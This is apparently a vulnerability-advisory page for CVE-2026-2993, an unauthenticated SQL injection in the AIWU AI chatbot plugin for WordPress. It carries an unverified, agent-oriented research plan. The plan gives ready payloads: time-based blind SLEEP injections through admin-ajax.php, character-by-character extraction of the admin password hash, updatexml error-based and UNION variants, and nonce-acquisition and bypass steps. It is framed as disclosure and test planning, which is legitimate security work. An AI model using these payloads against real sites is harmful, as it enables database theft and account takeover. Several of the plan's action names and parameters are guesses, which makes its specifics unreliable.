CVE-2026-2993

AI Chatbot & Workflow Automation by AIWU <= 1.4.17 - Unauthenticated SQL Injection in getListForTbl()

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The AI Chatbot & Workflow Automation by AIWU plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.4.17 due to insufficient escaping on user supplied parameters and lack of sufficient preparation on the existing SQL query in the getListForTbl() function. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. NOTE: This issue is partially mitigated by a patch in version 1.4.11 that adds a nonce check for a nonce that is only available to administrators.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.4.17
PublishedMay 11, 2026
Last updatedMay 19, 2026
Research Plan
Unverified

This research plan focuses on identifying and exploiting an unauthenticated SQL injection vulnerability in the **AI Chatbot & Workflow Automation by AIWU** plugin. ### 1. Vulnerability Summary The vulnerability is located in the `getListForTbl()` function of the AI Chatbot & Workflow Automation by …

Show full research plan

This research plan focuses on identifying and exploiting an unauthenticated SQL injection vulnerability in the AI Chatbot & Workflow Automation by AIWU plugin.

1. Vulnerability Summary

The vulnerability is located in the getListForTbl() function of the AI Chatbot & Workflow Automation by AIWU plugin (versions <= 1.4.17). It stems from the unsafe inclusion of user-supplied parameters into a SQL query without proper sanitization or preparation via $wpdb->prepare(). While a patch in 1.4.11 introduced a nonce check, the vulnerability remains accessible if the nonce is leaked or if the check is implemented incorrectly (e.g., using a nopriv hook but requiring an admin-only nonce).

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: getListForTbl (inferred action name; needs verification via grep).
  • Vulnerable Parameter: Likely tbl, order, orderby, or search.
  • Authentication: Unauthenticated (via wp_ajax_nopriv_ hook).
  • Preconditions: The plugin must be active. A specific nonce may be required for versions > 1.4.10.

3. Code Flow

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with the action parameter set to the handler for getListForTbl().
  2. Hook Registration: The plugin registers the action:
    add_action('wp_ajax_nopriv_ai_copilot_get_list', '...'); (inferred action name).
  3. Vulnerable Function: The AJAX handler calls getListForTbl().
  4. SQL Sink: Inside getListForTbl(), a parameter (e.g., $table_name = $_POST['tbl']) is concatenated directly into a SQL string:
    $wpdb->get_results("SELECT * FROM " . $wpdb->prefix . $_POST['tbl'] . " WHERE ...");
  5. Execution: $wpdb->get_results() executes the poisoned query.

4. Nonce Acquisition Strategy

According to the description, version 1.4.11 added a nonce check. We must determine if this nonce is exposed to unauthenticated users or if it can be bypassed.

  1. Identify Action and Nonce Key:
    # Find the AJAX registration
    grep -rn "getListForTbl" /var/www/html/wp-content/plugins/ai-copilot-content-generator/
    # Find where the nonce is verified
    grep -rn "check_ajax_referer\|wp_verify_nonce" /var/www/html/wp-content/plugins/ai-copilot-content-generator/
    
  2. Locate Nonce Exposure:
    Search for wp_localize_script to see if the nonce is passed to the frontend.
    grep -rn "wp_localize_script" /var/www/html/wp-content/plugins/ai-copilot-content-generator/
    
  3. Extraction (if exposed):
    If the nonce is localized as ai_copilot_params.nonce, the agent should:
    • Find a shortcode (e.g., [ai_chatbot]) via grep -r "add_shortcode".
    • Create a page: wp post create --post_type=page --post_status=publish --post_content='[ai_chatbot]'
    • Navigate to the page and run: browser_eval("window.ai_copilot_params?.nonce").

5. Exploitation Strategy

We will use a Time-Based Blind SQL injection to confirm the vulnerability, as it is the most reliable method when output is not directly reflected.

Step 1: Discover Vulnerable Parameter
Test parameters tbl, order, and orderby with a sleep payload.

Step 2: Construct Payload
If the injection is in a FROM clause or ORDER BY clause:

  • URL: http://<target>/wp-admin/admin-ajax.php
  • Method: POST
  • Body (URL-encoded):
    action=ai_copilot_get_list&tbl=users WHERE 1=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -&_wpnonce=<NONCE>

Step 3: Data Extraction
Extract the admin password hash:
tbl=users WHERE 1=1 AND IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$', SLEEP(5), 0)-- -

6. Test Data Setup

  1. Plugin Installation: Ensure ai-copilot-content-generator version 1.4.10 or 1.4.17 is installed.
  2. Shortcode Page:
    wp post create --post_type=page --post_title="Chatbot" --post_status=publish --post_content='[ai_copilot_chatbot]' 
    
  3. Identify Action: Confirm the exact AJAX action name using:
    grep -r "wp_ajax_nopriv" /var/www/html/wp-content/plugins/ai-copilot-content-generator/
    

7. Expected Results

  • Vulnerable Response: The HTTP request to admin-ajax.php will take significantly longer (e.g., > 5 seconds) than a standard request.
  • Success Indicator: The time_total from the http_request tool confirms the delay matches the SLEEP() value.

8. Verification Steps

After the exploit, verify the database structure to confirm the targeted table names:

wp db query "SELECT user_login, user_pass FROM wp_users WHERE ID=1;"

Check the plugin's logs or settings to see if the malicious query left traces:

wp option get ai_copilot_settings

9. Alternative Approaches

  • Error-Based: If WP_DEBUG is on, try injecting AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1).
  • UNION-Based: If the response from getListForTbl is printed to the screen (e.g., in a table), use ORDER BY to find column count and then UNION SELECT.
  • Nonce Bypass: If check_ajax_referer is called with die=false, omit the nonce entirely and check if the query still executes.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.